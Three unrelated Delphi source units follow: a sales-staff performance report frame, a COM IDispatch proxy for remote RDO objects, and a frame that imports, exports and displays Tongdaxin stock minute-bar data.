{******************************************************************************* 作者: dmzn@163.com 2011-11-21 描述: 销售员业绩 *******************************************************************************} unit UFrameReportSaler; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, UFrameBase, cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters, cxContainer, cxEdit, cxTextEdit, Menus, StdCtrls, cxButtons, cxLabel, cxRadioGroup, Grids, UGridPainter, UGridExPainter, ExtCtrls, cxMaskEdit, cxButtonEdit, cxDropDownEdit, cxCalendar, UImageButton; type TfFrameReportSaler = class(TfFrameBase) GridList: TDrawGridEx; Panel2: TPanel; LabelHint: TLabel; EditTime: TcxComboBox; EditS: TcxDateEdit; EditE: TcxDateEdit; Label1: TLabel; BtnSearch: TImageButton; procedure EditNowPropertiesEditValueChanged(Sender: TObject); procedure BtnSearchClick(Sender: TObject); private { Private declarations } FPainter: TGridPainter; //绘制对象 procedure LoadSaleTotal; //载入明细 procedure OnBtnClick(Sender: TObject); //点击按钮 public { Public declarations } procedure OnCreateFrame; override; procedure OnDestroyFrame; override; class function FrameID: integer; override; end; implementation {$R *.dfm} uses IniFiles, ULibFun, UDataModule, DB, UMgrControl, USysConst, USysDB, USysFun, UFormReportSalerView; class function TfFrameReportSaler.FrameID: integer; begin Result := cFI_FrameReportYJ; end; procedure TfFrameReportSaler.OnCreateFrame; var nIni: TIniFile; begin Name := MakeFrameName(FrameID); FPainter := TGridPainter.Create(GridList); with FPainter do begin HeaderFont.Style := HeaderFont.Style + [fsBold]; //粗体 AddHeader('序号', 50); AddHeader('营销员', 50); AddHeader('总销量', 50); AddHeader('总金额', 50); AddHeader('详细查询', 50); end; nIni := TIniFile.Create(gPath + sFormConfig); try LoadDrawGridConfig(Name, GridList, nIni); AdjustLabelCaption(LabelHint, GridList); Width := GetGridHeaderWidth(GridList); EditTime.ItemIndex := 0; BtnSearch.Top := EditTime.Top + Trunc((EditTime.Height - BtnSearch.Height) / 2); finally nIni.Free; end; end; procedure TfFrameReportSaler.OnDestroyFrame; var nIni: TIniFile; begin nIni := TIniFile.Create(gPath + sFormConfig); try SaveDrawGridConfig(Name, GridList, nIni); finally nIni.Free; end; FPainter.Free; end; //------------------------------------------------------------------------------ //Desc: 时间变动 procedure TfFrameReportSaler.EditNowPropertiesEditValueChanged(Sender: TObject); var nS,nE: TDate; begin GetDateInterval(EditTime.ItemIndex, nS, nE); EditS.Date := nS; EditE.Date := nE; end; procedure TfFrameReportSaler.LoadSaleTotal; var nStr,nHint: string; nDS: TDataSet; nMon: Double; nIdx,nInt,nNum: Integer; nBtn: TImageButton; nData: TGridDataArray; begin nStr := 'Select S_Man,Sum(S_Number) as S_Num,Sum(S_Money) as S_Mon From $SL ' + 'Where S_TerminalID=''$ID'' And ' + ' (S_Date>=''$KS'' And S_Date<''$JS'') ' + 'Group By S_Man Order By S_Man'; nStr := MacroValue(nStr, [MI('$SL', sTable_Sale), MI('$ID', gSysParam.FTerminalID), MI('$KS', Date2Str(EditS.Date)), MI('$JS', Date2Str(EditE.Date + 1))]); //xxxxx nDS := FDM.LockDataSet(nStr, nHint); try if not Assigned(nDS) then begin ShowDlg(nHint, sWarn); Exit; end; FPainter.ClearData; if nDS.RecordCount < 1 then Exit; with nDS do begin nMon := 0; nNum := 0; nInt := 1; First; while not Eof do begin SetLength(nData, 5); for nIdx:=Low(nData) to High(nData) do begin nData[nIdx].FText := ''; nData[nIdx].FCtrls := nil; nData[nIdx].FAlign := taCenter; end; nData[0].FText := IntToStr(nInt); Inc(nInt); nData[1].FText := FieldByName('S_Man').AsString; nData[2].FText := FieldByName('S_Num').AsString; nNum := nNum + FieldByName('S_Num').AsInteger; nData[3].FText := FieldByName('S_Mon').AsString; nMon := nMon + FieldByName('S_Mon').AsFloat; with nData[4] do begin FCtrls := TList.Create; nBtn := TImageButton.Create(Self); FCtrls.Add(nBtn); with nBtn do begin Parent := Self; ButtonID := 'btn_view_detail'; LoadButton(nBtn); OnClick := OnBtnClick; Tag := FPainter.DataCount; end; end; FPainter.AddData(nData); Next; end; end; SetLength(nData, 8); for nIdx:=Low(nData) to High(nData) do begin nData[nIdx].FText := ''; nData[nIdx].FCtrls := nil; nData[nIdx].FAlign := taCenter; end; nData[0].FText := '总计:'; nData[2].FText := Format('%d件', [nNum]); nData[3].FText := Format('%.2f元', [nMon]); FPainter.AddData(nData); finally FDM.ReleaseDataSet(nDS); end; end; //Desc: 查询 procedure TfFrameReportSaler.BtnSearchClick(Sender: TObject); begin BtnSearch.Enabled := False; try LoadSaleTotal; finally BtnSearch.Enabled := True; end; end; //Desc: 查看详情 procedure TfFrameReportSaler.OnBtnClick(Sender: TObject); var nTag: Integer; begin nTag := TComponent(Sender).Tag; ShowSalerSale(FPainter.Data[nTag][1].FText, EditS.Date, EditE.Date); end; initialization gControlManager.RegCtrl(TfFrameReportSaler, TfFrameReportSaler.FrameID); end.
unit RDOObjectProxy; interface uses Windows, ComObj, ActiveX, {$IFDEF AutoServer} RDOClient_TLB, {$ENDIF} RDOInterfaces; type TRDOObjectProxy = {$IFDEF AutoServer} class(TAutoObject, IRDOObjectProxy) {$ELSE} class(TInterfacedObject, IDispatch) {$ENDIF} private fObjectId : integer; fRDOConnection : IRDOConnection; fTimeOut : integer; fWaitForAnswer : boolean; fPriority : integer; fErrorCode : integer; protected function GetIDsOfNames(const IID : TGUID; Names : Pointer; NameCount, LocaleID : Integer; DispIDs : Pointer) : HResult; {$IFDEF AutoServer } override; {$ENDIF} stdcall; {$IFNDEF AutoServer} function GetTypeInfo(Index, LocaleID : Integer; out TypeInfo) : HResult; stdcall; function GetTypeInfoCount(out Count : Integer) : HResult; stdcall; {$ENDIF} function Invoke(DispID : Integer; const IID : TGUID; LocaleID : Integer; Flags : Word; var Params; VarResult, ExcepInfo, ArgErr : Pointer) : HResult; {$IFDEF AutoServer } override; {$ENDIF} stdcall; {$IFDEF AutoServer} protected procedure Initialize; override; {$ELSE} public constructor Create; {$ENDIF} end; implementation uses {$IFDEF AutoServer} ComServ, {$ENDIF} SysUtils, ErrorCodes, RDOMarshalers, RDOVariantUtils; const BindToName = 'bindto'; SetConnectionName = 'setconnection'; WaitForAnswerName = 'waitforanswer'; TimeOutName = 'timeout'; PriorityName = 'priority'; ErrorCodeName = 'errorcode'; OnStartPageName = 'onstartpage'; // Needed for ASP components only OnEndPageName = 'onendpage'; // Needed for ASP components only RemoteObjectName = 'remoteobjectid'; const BindToDispId = 1; SetConnectionDispId = 2; WaitForAnswerDispId = 3; TimeOutDispId = 4; PriorityDispId = 5; ErrorCodeDispId = 6; OnStartPageDispId = 7; OnEndPageDispId = 8; RemoteObjectId = 9; RemoteDispId = 10; const DefTimeOut = 5000; const DefPriority = THREAD_PRIORITY_NORMAL; type PInteger = ^integer; var MembNameTLSIdx : dword = $FFFFFFFF; // >> Delphi 4 function MapQueryErrorToHResult(ErrorCode : integer) : HResult; begin case ErrorCode of errNoError, errNoResult: result := S_OK; errMalformedQuery: result := E_UNEXPECTED; errIllegalObject: result := DISP_E_BADCALLEE; errUnexistentProperty: result := DISP_E_MEMBERNOTFOUND; errIllegalPropValue: result := DISP_E_TYPEMISMATCH; errUnexistentMethod: result := DISP_E_MEMBERNOTFOUND; errIllegalParamList: result := DISP_E_BADVARTYPE; errIllegalPropType: result := DISP_E_BADVARTYPE; else result := E_FAIL end end; // TObjectProxy {$IFDEF AutoServer} procedure TRDOObjectProxy.Initialize; {$ELSE} constructor TRDOObjectProxy.Create; {$ENDIF} begin inherited; fTimeOut := DefTimeOut; fPriority := DefPriority end; function TRDOObjectProxy.GetIDsOfNames(const IID : TGUID; Names : Pointer; NameCount, LocaleID : Integer; DispIDs : Pointer) : HResult; function MemberNameToDispId(MemberName : string) : integer; const LocalMembers : array [BindToDispId .. RemoteObjectId] of string = ( BindToName, SetConnectionName, WaitForAnswerName, TimeOutName, PriorityName, ErrorCodeName, OnStartPageName, OnEndPageName, RemoteObjectName ); var MemberIdx : integer; MembNamLowerCase : string; begin MemberIdx := 1; MembNamLowerCase := LowerCase(MemberName); while (MemberIdx < RemoteDispId) and (LocalMembers[MemberIdx] <> MembNamLowerCase) do inc(MemberIdx); result := MemberIdx end; var MemberName : string; begin {$IFDEF AutoServer} if not Succeeded(inherited GetIDsOfNames(IID, Names, NameCount, LocaleID, DispIDs)) then begin {$ENDIF} PInteger(DispIds)^ := MemberNameToDispId(WideCharToString(POLEStrList(Names)^[0])); if PInteger(DispIds)^ = RemoteDispId then begin MemberName := POLEStrList(Names)^[0]; TLSSetValue(MembNameTLSIdx, StrNew(PChar(MemberName))) end; result := NOERROR {$IFDEF AutoServer} end else result := S_OK {$ENDIF} end; {$IFNDEF AutoServer} function TRDOObjectProxy.GetTypeInfo(Index, LocaleID : Integer; out TypeInfo) : HResult; begin pointer(TypeInfo) := nil; result := E_NOTIMPL end; function TRDOObjectProxy.GetTypeInfoCount(out Count : Integer) : HResult; begin Count := 0; result := NOERROR end; {$ENDIF} function TRDOObjectProxy.Invoke(DispID : Integer; const IID : TGUID; LocaleID : Integer; Flags : Word; var Params; VarResult, ExcepInfo, ArgErr : Pointer) : HResult; const MaxParams = 32; var Parameters : TDispParams; RetValue : variant; Handled : boolean; MemberName : PChar; begin {$IFDEF AutoServer} result := inherited Invoke(DispId, IID, LocaleID, Flags, Params, VarResult, ExcepInfo, ArgErr); if not Succeeded(result) then begin {$ENDIF} Parameters := TDispParams(Params); result := S_OK; case DispId of BindToDispId: if fRDOConnection <> nil then if Flags and DISPATCH_METHOD <> 0 then if Parameters.cArgs = 1 then begin if VarResult <> nil then PVariant(VarResult)^ := true; case Parameters.rgvarg[0].vt and VT_TYPEMASK of VT_INT: if Parameters.rgvarg[0].vt and VT_BYREF <> 0 then fObjectId := Parameters.rgvarg[0].pintVal^ else fObjectId := Parameters.rgvarg[0].intVal; VT_I4: if Parameters.rgvarg[0].vt and VT_BYREF <> 0 then fObjectId := Parameters.rgvarg[0].plVal^ else fObjectId := Parameters.rgvarg[0].lVal; VT_BSTR: begin if Parameters.rgvarg[0].vt and VT_BYREF <> 0 then fObjectId := MarshalObjIdGet(Parameters.rgvarg[0].pbstrVal^, fRDOConnection, fTimeOut, fPriority, fErrorCode) else fObjectId := MarshalObjIdGet(Parameters.rgvarg[0].bstrVal, fRDOConnection, fTimeOut, fPriority, fErrorCode); if VarResult <> nil then if fErrorCode <> errNoError then PVariant(VarResult)^ := false end else result := DISP_E_TYPEMISMATCH end end else result := DISP_E_BADPARAMCOUNT else result := DISP_E_MEMBERNOTFOUND else if VarResult <> nil then PVariant(VarResult)^ := false; SetConnectionDispId: if Flags and DISPATCH_METHOD <> 0 then if Parameters.cArgs = 1 then begin if Parameters.rgvarg[0].vt and VT_TYPEMASK = VT_DISPATCH then if Parameters.rgvarg[0].vt and VT_BYREF <> 0 then try fRDOConnection := Parameters.rgvarg[0].pdispVal^ as IRDOConnection except result := DISP_E_TYPEMISMATCH end else try fRDOConnection := IDispatch(Parameters.rgvarg[0].dispVal) as IRDOConnection except result := DISP_E_TYPEMISMATCH end else if Parameters.rgvarg[0].vt and VT_TYPEMASK = VT_UNKNOWN then if Parameters.rgvarg[0].vt and VT_BYREF <> 0 then try fRDOConnection := Parameters.rgvarg[0].punkVal^ as IRDOConnection except result := DISP_E_TYPEMISMATCH end else try fRDOConnection := IUnknown(Parameters.rgvarg[0].unkVal) as IRDOConnection except result := DISP_E_TYPEMISMATCH end else if Parameters.rgvarg[0].vt and VT_TYPEMASK = VT_VARIANT then try fRDOConnection := IDispatch(Parameters.rgvarg[0].pvarVal^) as IRDOConnection except result := DISP_E_TYPEMISMATCH end else result := DISP_E_TYPEMISMATCH end else result := DISP_E_BADPARAMCOUNT else result := DISP_E_MEMBERNOTFOUND; WaitForAnswerDispId .. ErrorCodeDispId, RemoteObjectId: if Flags and DISPATCH_PROPERTYGET <> 0 // reading the property then begin if Parameters.cArgs = 0 then if VarResult <> nil then case DispId of WaitForAnswerDispId: PVariant(VarResult)^ := fWaitForAnswer; TimeOutDispId: PVariant(VarResult)^ := fTimeOut; PriorityDispId: PVariant(VarResult)^ := fPriority; ErrorCodeDispId: PVariant(VarResult)^ := fErrorCode; RemoteObjectId: PVariant(VarResult)^ := fObjectId; end else result := E_INVALIDARG else result := DISP_E_BADPARAMCOUNT; end else if Flags and DISPATCH_METHOD <> 0 // method call then result := DISP_E_MEMBERNOTFOUND else // setting the property, must make certain by checking a few other things if Parameters.cArgs = 1 then if (Parameters.cNamedArgs = 1) and (Parameters.rgdispidNamedArgs[0] = DISPID_PROPERTYPUT) then case DispId of WaitForAnswerDispId: fWaitForAnswer := OleVariant(Parameters.rgvarg[0]); TimeOutDispId: fTimeOut := OleVariant(Parameters.rgvarg[0]); PriorityDispId: fPriority := OleVariant(Parameters.rgvarg[0]); ErrorCodeDispId: fErrorCode := OleVariant(Parameters.rgvarg[0]) end else result := DISP_E_PARAMNOTOPTIONAL else result := DISP_E_BADPARAMCOUNT; OnStartPageDispId, OnEndPageDispId: ; RemoteDispId: if fRDOConnection <> nil then begin MemberName := PChar(TLSGetValue(MembNameTLSIdx)); try Handled := false; if (Flags and DISPATCH_PROPERTYGET <> 0) and (Parameters.cArgs = 0) // property get or call to a method with no args then begin if VarResult <> nil then begin Handled := true; RetValue := MarshalPropertyGet(fObjectId, string(MemberName), fRDOConnection, fTimeOut, fPriority, fErrorCode); result := MapQueryErrorToHResult(fErrorCode); if result = S_OK then PVariant(VarResult)^ := RetValue end else if Flags and DISPATCH_METHOD = 0 then begin Handled := true; result := E_INVALIDARG end end; if not Handled then if Flags and DISPATCH_METHOD <> 0 // method call then if Parameters.cNamedArgs = 0 then begin if VarResult <> nil then TVarData(RetValue).VType := varVariant else RetValue := UnAssigned; if fWaitForAnswer or (VarResult <> nil) then MarshalMethodCall(fObjectId, string(MemberName), @Params, RetValue, fRDOConnection, fTimeOut, fPriority, fErrorCode) else MarshalMethodCall(fObjectId, string(MemberName), @Params, RetValue, fRDOConnection, 0, fPriority, fErrorCode); result := MapQueryErrorToHResult(fErrorCode); if (result = S_OK) and (VarResult <> nil) then PVariant(VarResult)^ := RetValue; end else result := DISP_E_NONAMEDARGS else // property put but, must make certain by checking a few other things if Parameters.cArgs = 1 then if (Parameters.cNamedArgs = 1) and (Parameters.rgdispidNamedArgs[0] = DISPID_PROPERTYPUT) then begin if fWaitForAnswer then MarshalPropertySet(fObjectId, string(MemberName), OleVariant(Parameters.rgvarg[0]), fRDOConnection, fTimeOut, fPriority, fErrorCode) else MarshalPropertySet(fObjectId, string(MemberName), OleVariant(Parameters.rgvarg[0]), fRDOConnection, 0, fPriority, fErrorCode); result := MapQueryErrorToHResult(fErrorCode) end else result := DISP_E_PARAMNOTOPTIONAL else result := DISP_E_BADPARAMCOUNT; finally StrDispose(MemberName); TLSSetValue(MembNameTLSIdx, nil) end end else result := E_FAIL end {$IFDEF AutoServer} end {$ENDIF} end; initialization MembNameTLSIdx := TLSAlloc; if MembNameTLSIdx = $FFFFFFFF then raise Exception.Create('Unable to use thread local storage'); {$IFDEF AutoServer} TAutoObjectFactory.Create(ComServer, TRDOObjectProxy, Class_RDOObjectProxy, ciMultiInstance) {$ENDIF} finalization if MembNameTLSIdx <> $FFFFFFFF then TLSFree(MembNameTLSIdx) end.
unit SDFrameTDXData; interface uses Windows, Messages, Classes, Forms, BaseFrame, StdCtrls, Controls, ComCtrls, ExtCtrls, SysUtils, Dialogs, VirtualTrees, define_price, define_dealstore_file, define_message, define_dealitem, define_stockapp, define_datasrc, define_stock_quotes, define_datetime, StockMinuteDataAccess; type TfmeTDXDataData = record ExportStatus: Integer; DealItem: PRT_DealItem; OnGetDealItem: TOnDealItemFunc; MinuteDataAccess: TStockMinuteDataAccess; ColDateTime: TVirtualTreeColumn; ColPriceOpen: TVirtualTreeColumn; ColPriceHigh: TVirtualTreeColumn; ColPriceLow: TVirtualTreeColumn; ColPriceClose: TVirtualTreeColumn; ColVolume: TVirtualTreeColumn; end; PMinuteNodeData = ^TMinuteNodeData; TMinuteNodeData = record MinuteData: PRT_Quote_Minute; end; TfmeTDXData = class(TfmeBase) pnlRight: TPanel; lbl1: TLabel; mmo1: TMemo; pnlMiddle: TPanel; pnlDayDataTop: TPanel; vtMinuteData: TVirtualStringTree; spl1: TSplitter; edtRootPath: TEdit; lblMinute: TLabel; cmbMinute: TComboBoxEx; btnExportTxt: TButton; edtExportDownClick: TEdit; lblStockCode: TLabel; btnImportTxt: TButton; btnLoadTxt: TButton; btnSaveMinData: TButton; btnLoadMinData: TButton; procedure btnExportTxtClick(Sender: TObject); procedure btnImportTxtClick(Sender: TObject); procedure btnLoadTxtClick(Sender: TObject); procedure btnSaveMinDataClick(Sender: TObject); procedure btnLoadMinDataClick(Sender: TObject); private { Private declarations } fTDXDataData: TfmeTDXDataData; procedure InitVirtualTreeView; procedure LoadMinuteData(ADealItem: PRT_DealItem); procedure LoadStockData_Minute2View; procedure MinuteDataViewGetText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString); public { Public declarations } constructor Create(Owner: TComponent); override; procedure NotifyDealItem(ADealItem: PRT_DealItem); property OnGetDealItem: TOnDealItemFunc read fTDXDataData.OnGetDealItem write fTDXDataData.OnGetDealItem; end; implementation {$R *.dfm} uses IniFiles, StockMinuteData_Load, StockMinuteData_Save, StockData_Import_tdx, BaseStockFormApp; { TfmeStockClass } constructor TfmeTDXData.Create(Owner: TComponent); var tmpIni: TIniFile; tmpRootPath: string; begin inherited; FillChar(fTDXDataData, SizeOf(fTDXDataData), 0); tmpIni := TIniFile.Create(IncludeTrailingPathDelimiter(ExtractFilePath(ParamStr(0))) + 'ZSZQ.ini'); try tmpRootPath := tmpIni.ReadString('ZSZQ', 'RootPath', ''); if '' = tmpRootPath then begin tmpIni.WriteString('ZSZQ', 'RootPath', edtRootPath.Text); end else begin edtRootPath.Text := tmpRootPath; end; finally tmpIni.Free; end; cmbMinute.Items.BeginUpdate; try cmbMinute.Items.Clear; cmbMinute.Items.Add('60'); cmbMinute.Items.Add('10'); cmbMinute.Items.Add('5'); cmbMinute.Items.Add('1'); finally cmbMinute.Items.EndUpdate; end; cmbMinute.ItemIndex := 0; InitVirtualTreeView; end; procedure TfmeTDXData.NotifyDealItem(ADealItem: PRT_DealItem); begin fTDXDataData.DealItem := ADealItem; LoadMinuteData(ADealItem); end; procedure TfmeTDXData.InitVirtualTreeView; begin vtMinuteData.NodeDataSize := SizeOf(TMinuteNodeData); vtMinuteData.Header.Options := [hoColumnResize, hoVisible]; vtMinuteData.Indent := 1; vtMinuteData.OnGetText := MinuteDataViewGetText; fTDXDataData.ColDateTime := vtMinuteData.Header.Columns.Add; fTDXDataData.ColDateTime.Text := 'DateTime'; fTDXDataData.ColDateTime.Width := vtMinuteData.Canvas.TextWidth('XXXyyyy-mm-dd hh:nn:ss'); fTDXDataData.ColPriceOpen := vtMinuteData.Header.Columns.Add; fTDXDataData.ColPriceOpen.Text := 'Open'; fTDXDataData.ColPriceOpen.Width := vtMinuteData.Canvas.TextWidth('XXXXXXYYY'); fTDXDataData.ColPriceHigh := vtMinuteData.Header.Columns.Add; fTDXDataData.ColPriceHigh.Text := 'High'; fTDXDataData.ColPriceHigh.Width := fTDXDataData.ColPriceOpen.Width; fTDXDataData.ColPriceLow := vtMinuteData.Header.Columns.Add; fTDXDataData.ColPriceLow.Text := 'Low'; fTDXDataData.ColPriceLow.Width := fTDXDataData.ColPriceOpen.Width; fTDXDataData.ColPriceClose := vtMinuteData.Header.Columns.Add; fTDXDataData.ColPriceClose.Text := 'Close'; fTDXDataData.ColPriceClose.Width := fTDXDataData.ColPriceOpen.Width; fTDXDataData.ColVolume := vtMinuteData.Header.Columns.Add; fTDXDataData.ColVolume.Text := 'Volume'; fTDXDataData.ColVolume.Width := vtMinuteData.Canvas.TextWidth('xxxxxxxxxxx'); end; procedure TfmeTDXData.MinuteDataViewGetText(Sender: TBaseVirtualTree; Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString); function IsCell(AColumn: TVirtualTreeColumn): Boolean; begin Result := false; if nil = AColumn then exit; Result := Column = AColumn.Index; end; var tmpVNodeData: PMinuteNodeData; begin inherited; CellText := ''; tmpVNodeData := Sender.GetNodeData(Node); if nil <> tmpVNodeData then begin if IsCell(fTDXDataData.ColDateTime) then CellText := FormatDateTime('yyyy-mm-dd hh:nn:ss', define_datetime.DateTimeStock2DateTime(@tmpVNodeData.MinuteData.DealDateTime)); if IsCell(fTDXDataData.ColPriceOpen) then CellText := IntToStr(tmpVNodeData.MinuteData.PriceRange.PriceOpen.Value); if IsCell(fTDXDataData.ColPriceHigh) then CellText := IntToStr(tmpVNodeData.MinuteData.PriceRange.PriceHigh.Value); if IsCell(fTDXDataData.ColPriceLow) then CellText := IntToStr(tmpVNodeData.MinuteData.PriceRange.PriceLow.Value); if IsCell(fTDXDataData.ColPriceClose) then CellText := IntToStr(tmpVNodeData.MinuteData.PriceRange.PriceClose.Value); if IsCell(fTDXDataData.ColVolume) then CellText := IntToStr(tmpVNodeData.MinuteData.DealVolume); end; end; procedure TfmeTDXData.LoadMinuteData(ADealItem: PRT_DealItem); var i: integer; tmpVNode: PVirtualNode; tmpVNodeData: PMinuteNodeData; begin vtMinuteData.BeginUpdate; try vtMinuteData.Clear; if nil <> fTDXDataData.MinuteDataAccess then FreeAndNil(fTDXDataData.MinuteDataAccess); if nil = ADealItem then exit; fTDXDataData.MinuteDataAccess := TStockMinuteDataAccess.Create(ADealItem, src_tongdaxin, weightNone); fTDXDataData.MinuteDataAccess.Minute := StrToIntDef(cmbMinute.Text, 60); if LoadStockMinuteData(App, fTDXDataData.MinuteDataAccess) then begin for i := 0 to fTDXDataData.MinuteDataAccess.RecordCount - 1 do begin tmpVNode := vtMinuteData.AddChild(nil); tmpVNodeData := vtMinuteData.GetNodeData(tmpVNode); if nil <> tmpVNodeData then begin tmpVNodeData.MinuteData := fTDXDataData.MinuteDataAccess.RecordItem[i]; end; end; end; finally vtMinuteData.EndUpdate; end; end; procedure TfmeTDXData.LoadStockData_Minute2View; var i: integer; tmpVNode: PVirtualNode; tmpVNodeData: PMinuteNodeData; begin vtMinuteData.BeginUpdate; try vtMinuteData.Clear; if nil = fTDXDataData.MinuteDataAccess then exit; for i := 0 to fTDXDataData.MinuteDataAccess.RecordCount - 1 do begin tmpVNode := vtMinuteData.AddChild(nil); tmpVNodeData := vtMinuteData.GetNodeData(tmpVNode); if nil <> tmpVNodeData then begin tmpVNodeData.MinuteData := fTDXDataData.MinuteDataAccess.RecordItem[i]; end; end; finally vtMinuteData.EndUpdate; end; end; procedure TfmeTDXData.btnExportTxtClick(Sender: TObject); var i: integer; tmpDealItem: PRT_DealItem; tmpWnd: HWND; j: integer; tmpStart: integer; tmpRootPath: string; tmpFile: string; tmpCode: string; tmpExportDownClick: integer; tmpMinute: integer; tmpStr: string; begin inherited; tmpRootPath := IncludeTrailingPathDelimiter(Trim(edtRootPath.Text)); if not DirectoryExists(tmpRootPath) then exit; if 1 = fTDXDataData.ExportStatus then fTDXDataData.ExportStatus := 2; tmpMinute := 60; tmpWnd := FindWindow(define_stockapp.AppCmdWndClassName_StockDealAgent_ZSZQ, ''); tmpExportDownClick := StrToIntDef(edtExportDownClick.text, 0); if IsWindow(tmpWnd) then begin tmpStr := Trim(cmbMinute.text); tmpStart := StrToIntDef(tmpStr, 0); fTDXDataData.ExportStatus := 1; for i := 0 to TBaseStockApp(App).StockItemDB.RecordCount - 1 do begin if 1 <> fTDXDataData.ExportStatus then Break; if Application.Terminated then Break; tmpDealItem := TBaseStockApp(App).StockItemDB.RecordItem[i]; lblStockCode.Caption := tmpDealItem.sCode; //if 2 = i then // Break; if 0 = tmpDealItem.FirstDealDate then Continue; if 0 < tmpDealItem.EndDealDate then Continue; begin if 0 <> tmpStart then begin if tmpStart = tmpDealItem.iCode then begin tmpStart := 0; end else Continue; end; tmpFile := tmpRootPath + 'T0002\export\'; tmpCode := tmpDealItem.sCode; tmpFile := tmpFile + tmpCode + '.txt'; //Log('zsAgentConsoleForm.pas', 'Check File 1:' + tmpFile); if FileExists(tmpFile) then begin Continue; end; tmpFile := App.Path.GetFileUrl(tmpDealItem.DBType, DataType_MinuteData, DataSrc_Tongdaxin, tmpMinute, tmpDealItem); //Log('zsAgentConsoleForm.pas', 'Check File 2:' + tmpFile); if FileExists(tmpFile) then begin Continue; end; if IsWindow(tmpWnd) then begin SendMessage(tmpWnd, WM_Data_Export, tmpDealItem.iCode, 60); for j := 1 to 100 do begin if Application.Terminated then Break; Application.ProcessMessages; Sleep(10); end; end else begin Break; end; end; end; end; end; procedure TfmeTDXData.btnImportTxtClick(Sender: TObject); var i: integer; tmpDealItem: PRT_DealItem; // tmpFileUrl: WideString; tmpTxtFile: string; tmpSaveFile: string; tmpRootPath: string; tmpCode: string; tmpMinuteData: TStockMinuteDataAccess; tmpIni: TIniFile; begin inherited; tmpRootPath := IncludeTrailingPathDelimiter(Trim(edtRootPath.Text)); if not DirectoryExists(tmpRootPath) then exit; tmpIni := TIniFile.Create(ChangeFileExt(paramStr(0), '.ini')); try tmpIni.WriteString('TDX', 'RootPath', tmpRootPath); finally tmpIni.Free; end; for i := 0 to TBaseStockApp(App).StockItemDB.RecordCount - 1 do begin if Application.Terminated then Break; tmpDealItem := TBaseStockApp(App).StockItemDB.Items[i]; if 0 = tmpDealItem.EndDealDate then begin //tmpFile := 'F:\Program Files\zd_zszq\'; tmpTxtFile := tmpRootPath + 'T0002\export\'; tmpCode := tmpDealItem.sCode; tmpTxtFile := tmpTxtFile + tmpCode + '.txt'; lblStockCode.Caption := tmpCode; //Log('SDTdxForm.pas', 'Import:' + tmpFile); if FileExists(tmpTxtFile) then begin //Log('SDTdxForm.pas', 'Import File Begin' + tmpTxtFile); tmpSaveFile := App.Path.GetFileUrl( tmpDealItem.DBType, DataType_MinuteData, DataSrc_tongdaxin, 60, tmpDealItem); if FileExists(tmpSaveFile) then begin Continue; end; tmpMinuteData := TStockMinuteDataAccess.Create(tmpDealItem, src_tongdaxin, weightNone); try ImportStockData_Minute_TDX_FromFile(tmpMinuteData, tmpTxtFile); //Log('SDTdxForm.pas', 'Save File ' + tmpCode + ' minute:' + IntToStr(tmpMinuteData.Minute)); SaveStockMinuteData(App, tmpMinuteData); finally tmpMinuteData.Free; end; end; end; Sleep(10); Application.ProcessMessages; //if 2 = i then // Break; end; end; procedure TfmeTDXData.btnLoadTxtClick(Sender: TObject); var tmpFileUrl: string; begin //tmpFileUrl := 'E:\StockApp\sdata\999999.txt'; //tmpFileUrl := 'E:\StockApp\sdata\002414.txt'; //tmpFileUrl := 'E:\StockApp\sdata\000050.txt'; //tmpFileUrl := 'E:\StockApp\sdata\600050.txt'; //fMinuteDataAccess := TStockMinuteDataAccess.Create(DBType_Item_China, nil, src_tongdaxin, weightUnknown); with TOpenDialog.Create(Self) do try tmpFileUrl := Trim(edtRootPath.Text); if '' <> tmpFileUrl then begin if DirectoryExists(tmpFileUrl) then begin InitialDir := IncludeTrailingPathDelimiter(tmpFileUrl) + 'T0002\export\'; //D:\stock\zd_zszq\T0002\export; end; end; if not Execute then exit; tmpFileUrl := FileName; finally Free; end; if FileExists(tmpFileUrl) then begin if nil <> fTDXDataData.MinuteDataAccess then FreeAndNil(fTDXDataData.MinuteDataAccess); if nil = fTDXDataData.MinuteDataAccess then fTDXDataData.MinuteDataAccess := TStockMinuteDataAccess.Create(nil, src_tongdaxin, weightUnknown); ImportStockData_Minute_TDX_FromFile(fTDXDataData.MinuteDataAccess, tmpFileUrl); LoadStockData_Minute2View; end; end; procedure TfmeTDXData.btnLoadMinDataClick(Sender: TObject); var tmpDealItem: PRT_DealItem; begin inherited; tmpDealItem := fTDXDataData.DealItem; //tmpDealItem := TBaseStockApp(App).StockItemDB.FindDealItemByCode(edStock.Text); if nil = tmpDealItem then exit; if nil <> fTDXDataData.MinuteDataAccess then fTDXDataData.MinuteDataAccess.Free; fTDXDataData.MinuteDataAccess := TStockMinuteDataAccess.Create(tmpDealItem, src_tongdaxin, weightUnknown); //LoadStockMinuteData(App, fMinuteDataAccess, 'e:\minute.m60'); //fMinuteDataAccess.StockCode := '000050'; if nil = fTDXDataData.MinuteDataAccess.StockItem then begin if '' <> fTDXDataData.MinuteDataAccess.StockCode then begin fTDXDataData.MinuteDataAccess.StockItem := TBaseStockApp(App).StockItemDB.FindDealItemByCode(fTDXDataData.MinuteDataAccess.StockCode); end; end; fTDXDataData.MinuteDataAccess.Minute := 60; LoadStockMinuteData(App, fTDXDataData.MinuteDataAccess); LoadStockData_Minute2View; end; procedure TfmeTDXData.btnSaveMinDataClick(Sender: TObject); begin if nil = fTDXDataData.MinuteDataAccess then exit; if 1 > fTDXDataData.MinuteDataAccess.RecordCount then exit; //SaveStockMinuteData(App, fMinuteDataAccess, 'e:\minute.m60'); if nil = fTDXDataData.MinuteDataAccess.StockItem then begin if '' <> fTDXDataData.MinuteDataAccess.StockCode then fTDXDataData.MinuteDataAccess.StockItem := TBaseStockApp(App).StockItemDB.FindDealItemByCode(fTDXDataData.MinuteDataAccess.StockCode); end; if nil <> fTDXDataData.MinuteDataAccess.StockItem then SaveStockMinuteData(App, fTDXDataData.MinuteDataAccess); end; end.
